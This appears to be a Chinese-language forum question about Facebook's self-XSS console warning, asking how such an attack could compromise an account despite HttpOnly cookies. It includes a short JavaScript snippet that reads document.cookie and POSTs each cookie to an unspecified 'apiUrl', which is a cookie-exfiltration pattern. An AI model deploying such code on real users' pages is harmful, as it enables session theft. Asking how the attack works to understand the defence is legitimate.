我最近碰巧在 Facebook 上打开了浏览器控制台,并收到以下消息。
停止!
这是面向开发人员的浏览器功能。如果有人告诉您在此处复制并粘贴某些内容以启用 Facebook 功能或“破解”某人的帐户,则这是一个骗局,他们将允许他们访问您的 Facebook 帐户。
有关更多信息,请参阅https://www.facebook.com/selfxss。
我的第一个想法是这简直是过度杀戮,可能是为了吓跑那些毫无戒心的互联网人,他们会盲目地将一些 javascript 复制并粘贴到控制台中,以期解锁一个秘密的不喜欢按钮。
但实际上我一直在思考如何从 Javascript 控制台破坏用户会话数据。
我想到了一个脚本循环document.cookie变量并将所有 cookie 数据发布到 api。类似于下面的东西。
var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');
for(var i=0 ; i < cookies.length ; ++i) {
var pair = cookies[i].trim().split('=');
xhr.send(JSON.stringify({
name: pair[0],
value: pair[1]
}));
}
但我的理解是,将http-only标志添加到 cookie 意味着 javascript 或客户端无法访问它。
那么攻击者如何让您完全通过 self-xss 来破坏您的 Facebook 帐户呢?